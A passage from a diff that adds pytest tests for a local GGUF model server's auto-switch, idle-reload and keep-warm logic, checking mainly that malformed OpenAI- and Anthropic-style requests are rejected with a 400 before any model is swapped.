= None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + # An Unsloth model is the live backend. + monkeypatch.setattr( + inference_route, + "get_inference_backend", + lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"), + ) + _run_hook("gpt-4o-mini") + assert rec.calls == [] # stale GGUF not reloaded over the active Unsloth model + + +def test_is_abs_path_id_distinguishes_path_from_repo_id(): + assert resolver._is_abs_path_id("/abs/path/model.gguf") is True + assert resolver._is_abs_path_id("org/Repo-GGUF") is False + assert resolver._is_abs_path_id("Repo") is False + + +def test_advertised_loader_id_prefers_alias_over_abs_path(): + # C1: the ./models and LM Studio scanners report the on-disk path as info.id. + from types import SimpleNamespace + + f = resolver._advertised_loader_id + # An absolute-path id falls back to the first non-path alias. + assert ( + f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X")) + == "org/X-GGUF" + ) + # No alias available: strip the path to a public id so a host path is never advertised. + assert ( + f( + SimpleNamespace( + id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None + ) + ) + == "Qwen3-8B-Q4_K_M" + ) + # A normal repo id is advertised as-is. + assert ( + f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF" + ) + + +def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch): + # C1 end-to-end: a scanner that reports the path as the id must not advertise the + # host path in /v1/models, yet the model stays resolvable by that path too. + from types import SimpleNamespace + import routes.models as models_route + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + info = SimpleNamespace( + id = str(gguf), # scanner uses the on-disk path as the id + path = str(gguf), + model_id = "org/Repo-GGUF", + display_name = "Repo", + ) + monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info]) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + resolver._scan = (0.0, {}) + + # The advertised id is the alias, never the absolute path. + advertised = sorted({entry.loader_id for entry in resolver._index().values()}) + assert advertised == ["org/Repo-GGUF"] + # But the model is still resolvable by its on-disk path (an indexed alias). + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(str(gguf)) is not None + + +def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch): + # gemini: one bad scanner (e.g. a permission error on ./models) must drop only + # that source, not abort the whole index and lose what the others found. + from types import SimpleNamespace + import routes.models as models_route + import utils.paths as paths + + def _boom(*a, **k): + raise OSError("permission denied") + + lm_info = SimpleNamespace( + id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo" + ) + monkeypatch.setattr(models_route, "_scan_models_dir", _boom) # ./models blows up + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info]) + monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None) + monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None) + monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path]) + # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry. + monkeypatch.setattr( + resolver, + "_local_gguf_entry", + lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()), + ) + resolver._scan = (0.0, {}) + index = resolver._build_index() + assert any(e.loader_id == "org/Repo-GGUF" for e in index.values()) + + +def test_info_has_local_gguf_reads_files_not_model_format(tmp_path): + # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must + # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format) + # is servable; a safetensors-only dir is not. + from types import SimpleNamespace + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True + + st = tmp_path / "safetensors_model" + st.mkdir() + (st / "model.safetensors").write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + + +def test_info_has_local_gguf_excludes_ollama_links(tmp_path): + # Codex P2: Ollama entries come from a scanner _build_index skips, so their + # advertised ids never resolve; the catalog must not report them as servable. + from types import SimpleNamespace + + links = tmp_path / ".studio_links" + links.mkdir() + ollama_gguf = links / "model-Q4_K_M.gguf" + ollama_gguf.write_bytes(b"x" * 32) + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf))) + is False + ) + # The same GGUF outside an ollama-link dir is still servable. + plain = tmp_path / "model-Q4_K_M.gguf" + plain.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True + + +def test_embeddings_input_present_helper(): + f = inference_route._embeddings_input_present + assert f({"input": "hi"}) is True + assert f({"input": ["a", "b"]}) is True + assert f({"input": [1, 2, 3]}) is True + assert f({}) is False + assert f({"input": ""}) is False + assert f({"input": []}) is False + + +def test_embeddings_rejects_missing_input_before_switch(monkeypatch): + # C2: with auto-switch on, an embeddings request carrying no input must 400 + # before the hook, so an invalid request never swaps the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") # loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester") + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no model switch happened + + +def test_retrieve_model_tolerates_non_string_id(monkeypatch): + # G2: a model object with a non-string id (defensive) must be skipped rather + # than crashing the .lower() compare; a valid id is still found, unknown 404s. + from fastapi import HTTPException + + async def _objs(): + return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}] + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs) + obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester")) + assert obj["id"] == "org/B-GGUF" + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_retrieve_model("123", "tester")) + assert exc.value.status_code == 404 + + +def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch): + # Codex P2: a client caching the legacy absolute .gguf path must still retrieve + # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised + # repo id (identifier = snapshot path), so the raw-path fallback must map the raw + # id to that advertised id, not public_model_id(path), or a loaded model 404s. + from types import SimpleNamespace + + raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf" + llama = SimpleNamespace( + is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF" + ) + infer = SimpleNamespace(active_model_name = None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer) + monkeypatch.setattr( + inference_route, + "_openai_model_objects", + lambda: [{"id": "org/B-GGUF", "object": "model"}], + ) + + async def _empty(): + return [] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty) + obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester")) + assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True + + +def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch): + # Codex P2: only the non-streaming GGUF path returns multiple choices, so + # stream=true + n>1 is invalid on every local serving path. Both fields are + # known pre-switch, so it must 400 before the switch rather than loading model B. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_resolver_cache_stamped_after_slow_build(monkeypatch): + # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the + # TTL would otherwise store an already-expired cache and rebuild every request. + import core.inference.local_model_resolver as r + + clock = {"t": 1000.0} + monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"]) + calls = {"n": 0} + + def _slow_build(): + calls["n"] += 1 + clock["t"] += r._CACHE_TTL_S + 10.0 # the scan itself outlasts the TTL + return {} + + monkeypatch.setattr(r, "_build_index", _slow_build) + r._scan = (0.0, {}) + r._index() # builds once, stamps post-scan + r._index() # immediately after: must reuse the cache, not rebuild + assert calls["n"] == 1 + + +def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): + # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement + # the in-flight count without stamping activity, or unauthenticated probes would + # keep the model warm and block idle-unload. + import core.inference.llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 100.0) + + async def _recv(): + return {"type": "http.request"} + + async def _run(status_code): + async def _app(scope, receive, send): + await send({"type": "http.response.start", "status": status_code, "headers": []}) + await send({"type": "http.response.body", "body": b"x", "more_body": False}) + + sent = [] + + async def _send(m): + sent.append(m) + + mw = kw.LlamaKeepWarmMiddleware(_app) + await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send) + + asyncio.run(_run(401)) + assert kw._inflight == 0 # balanced (start then untracked end) + assert kw._last_active == 100.0 # activity NOT stamped for an auth failure + # A served (200) request still stamps activity. + asyncio.run(_run(200)) + assert kw._inflight == 0 + assert kw._last_active != 100.0 + + +# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ── + + +def _stash(monkeypatch, *, idle = 600): + """Common setup for the standalone-idle reload paths: feature off, idle TTL on, + an idle-freed model in the stash, nothing loaded, no in-flight requests.""" + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + + +def test_completions_prompt_present_helper(): + f = inference_route._completions_prompt_present + assert f({"prompt": "hi"}) is True + assert f({"prompt": ["a", "b"]}) is True + assert f({}) is False + assert f({"prompt": ""}) is False + assert f({"prompt": []}) is False + + +def test_completions_rejects_missing_prompt_before_switch(monkeypatch): + # #1: /v1/completions had no prompt pre-check, so a malformed request naming a + # different downloaded GGUF loaded it before failing. Now it 400s first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF"}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_chat_system_only_rejected_before_idle_reload(monkeypatch): + # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL + # could still reload a system-only chat before the 400. Now it 400s first. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch): + # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a + # standalone idle TTL too, not only when auto-switch is on. + from fastapi import HTTPException + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch): + # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a + # standalone idle TTL could never restore the freed model. The early 503 now + # defers to any automatic-load trigger, so the reload hook runs. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + # The handler proceeds past the hook to real generation (no llama-server here), + # so tolerate the downstream failure; the reload having run is the assertion. + try: + asyncio.run( + inference_route.anthropic_messages( + _anthropic_payload(max_tokens = 16), object(), "tester" + ) + ) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_messages_503_gated_on_automatic_load_predicate(): + # Lock the #3 fix at the source: the early 503 must check the shared predicate. + import inspect + src = inspect.getsource(inference_route.anthropic_messages) + assert "_automatic_model_load_may_run" in src + + +def test_raw_body_without_model_reloads_freed_model(monkeypatch): + # #6: a raw completions/embeddings body that omits `model` passed None, which + # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the + # reload run while still resolving as unknown. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_audio_generate_reloads_idle_freed_model(monkeypatch): + # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an + # idle-freed audio GGUF stayed unloaded. The hook now restores it. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}]) + # Falls through to the non-audio backend path (no real model) after the reload; + # tolerate that downstream failure, the reload having run is the assertion. + try: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch): + # The audio reload hook must run after message validation, so an empty request + # never triggers a reload. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = []) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_preview_scope_disables_auto_switch(monkeypatch): + # #7: the public preview route delegates to the chat handler; a caller-supplied + # model must not switch away from the pinned checkpoint. The scope opt-out flag + # makes the hook a no-op. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + + class _Req: + def __init__(self): + self.scope = {} + + req = _Req() + inference_route.disable_openai_auto_switch_for_request(req.scope) + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester")) + assert rec.calls == [] # preview opt-out suppressed the switch + + # Control: a fresh request without the flag would switch. + req2 = _Req() + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester")) + assert len(rec.calls) == 1 + + +def test_preview_chat_is_tracked_as_inference_path(): + # #8: long preview streams use the same backend; the keep-warm middleware must + # count them so the idle loop can't unload mid-response. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/p/my-run/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/v1/models") is False + + +def test_untrack_does_not_reset_idle_timer(): + # #9: external-provider traffic was keeping the local GGUF warm forever because + # untrack stamped _last_active. It must decrement in-flight without restamping. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 1 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 0 + assert kw._last_active == before # idle timer not reset by an untracked request + kw._inflight = 0 + + +def test_note_start_does_not_reset_idle_timer(): + # The start stamp was removed so an external request that is later untracked + # cannot reset the timer at start either; in-flight count still protects it. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + kw._note_start() + try: + assert kw._inflight == 1 + assert kw._last_active == before # start no longer stamps activity + assert kw._is_idle(1.0) is False # but in-flight still blocks unload + finally: + kw._note_end() # restores _last_active stamp on completion + + +# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ── + + +def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch): + # Codex P2: a raw-body request that omits `model` must never run the resolver, + # so a downloaded GGUF literally named "default" can't be switched to. The + # resolver here would switch to B if it ran; it must not. + backend = _FakeBackend("org/A-GGUF") # a model is already loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert rec.calls == [] # resolver skipped (would have switched to B otherwise) + + +def test_omitted_model_still_reloads_idle_freed_model(monkeypatch): + # The reload-only sentinel must still restore an idle-freed model (the round-9 + # behavior), it just never runs the resolver. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def _anthropic_payload_with_tools(tools, max_tokens = 16): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "org/B-GGUF", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + tools = tools, + ) + + +def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed client tool (no input_schema, no server-tool type) must + # 400 before the auto-switch hook, so an invalid request never evicts the model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # missing input_schema + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_anthropic_validates_tools_before_auto_switch(): + # Lock the order at the source: tool-shape validation precedes the hook, for + # both /messages and /messages/count_tokens (shared helper). + import inspect + for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens): + src = inspect.getsource(fn) + assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model") + + +def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch): + # Codex P2: combining an Anthropic server tool (type) with a custom client tool + # (input_schema) is unsupported and must 400 before the switch, so the request + # can't evict the loaded model only to be rejected after the load. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools( + [ + {"type": "web_search_20250305"}, # server tool + {"name": "my_func", "input_schema": {"type": "object"}}, # client tool + ] + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +# ── codex review (round 2): schema-default model, Responses tool validation ── + + +def _chat_msg(text = "hi"): + from models.inference import ChatMessage + return ChatMessage(role = "user", content = text) + + +def _responses_payload(*, tools = None, set_model = True): + from models.inference import ResponsesRequest + + kwargs = dict(input = "hi") + if set_model: + kwargs["model"] = "org/B-GGUF" + if tools is not None: + kwargs["tools"] = tools + return ResponsesRequest(**kwargs) + + +def test_switch_model_for_payload_only_switches_when_explicit(): + # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only; + # an explicitly set model -- including a literal "default" -- is honored. + from models.inference import ChatCompletionRequest + + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL + explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit_default) == "default" + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF" + + +def test_omitted_schema_model_skips_resolver(monkeypatch): + # End to end: a schema request omitting `model` must not run the resolver, so a + # GGUF named "default" is never swapped to; an explicit model still switches. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(omitted), object(), "tester" + ) + ) + assert rec.calls == [] # resolver skipped + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(explicit), object(), "tester" + ) + ) + assert len(rec.calls) == 1 # explicit model still switches + + +def test_build_chat_request_propagates_omitted_model(): + # _build_chat_request must not turn an omitted Responses model into an explicit + # "default", or the non-streaming chat re-check would switch on it. + omitted = _responses_payload(set_model = False) + chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False) + assert "model" not in chat_req.model_fields_set + explicit = _responses_payload(set_model = True) + chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False) + assert "model" in chat_req2.model_fields_set + + +def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed function tool (no name) must 400 before the hook, so an + # invalid /v1/responses request never switches or evicts the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _responses_payload(tools = [{"type": "function", "parameters": {}}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch): + # A well-formed function tool and a built-in (non-function) tool must pass the + # pre-switch check. Stub the hook so the test stops right after validation. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _responses_payload( + tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + + +def test_responses_validates_tools_before_auto_switch(): + # Lock the order at the source: tool validation precedes the switch hook. + import inspect + src = inspect.getsource(inference_route.openai_responses) + assert src.index("each function tool must have a 'name'") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch): + # Codex P2: a forcing-function tool_choice with no name (Responses shape + # {"type": "function"}) must 400 before the switch, so the streaming path can't + # forward a bad choice and an invalid request can't evict the model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch on an invalid tool_choice") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + # A named forcing choice is accepted (reaches the switch, which is mocked to raise). + ok = ResponsesRequest( + model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"} + ) + with pytest.raises(AssertionError): + asyncio.run(inference_route.openai_responses(ok, object(), "tester")) + + +# ── codex review (round 3): process-wide swap gate across event loops ── + + +def test_swap_acquires_process_gate_before_load(): + # Lock in the structure: the process-wide gate is acquired before the load and + # always released, so a cross-loop swap can't reach _load_model_impl unguarded. + import inspect + + src = inspect.getsource(inference_route._maybe_auto_switch_model) + assert src.index("_acquire_swap_gate") < src.index("_load_model_impl") + assert "_auto_switch_process_lock.release()" in src + + +# ── codex review (round 4): validate modality + tool-confirmation before switch ── + + +def _chat_request(**kw): + from models.inference import ChatCompletionRequest, ChatMessage + kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")]) + return ChatCompletionRequest(**kw) + + +def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch): + # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid + # shape; it must 400 before the switch hook so it can't evict the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch): + # bypass_permissions suppresses the confirm gate, so the pre-check must not fire; + # the request should reach the switch hook (stubbed here to a sentinel). + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", + enable_tools = True, + confirm_tool_calls = True, + stream = False, + bypass_permissions = True, + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_chat_audio_input_guards_target_before_switch(monkeypatch): + # Codex P2: a chat request carrying audio_base64 must guard the target before the + # switch -- audio rides the same companion mmproj as vision -- so a text-only + # target can't be loaded and evict the working audio model. Assert the handler + # flags require_vision so the hook's multimodal probe runs. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA") + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_completions_rejects_object_prompt_before_switch(monkeypatch): + # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error + # (only a string or array is valid). It must 400 before the switch so a bad shape + # can't load the named GGUF only to be rejected by llama-server after eviction. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_embeddings_rejects_object_input_before_switch(monkeypatch): + # Codex P2: an object input like {"input": {}} is a deterministic client error + # (only a string or array is valid); reject before the switch, like completions. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings( + _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def 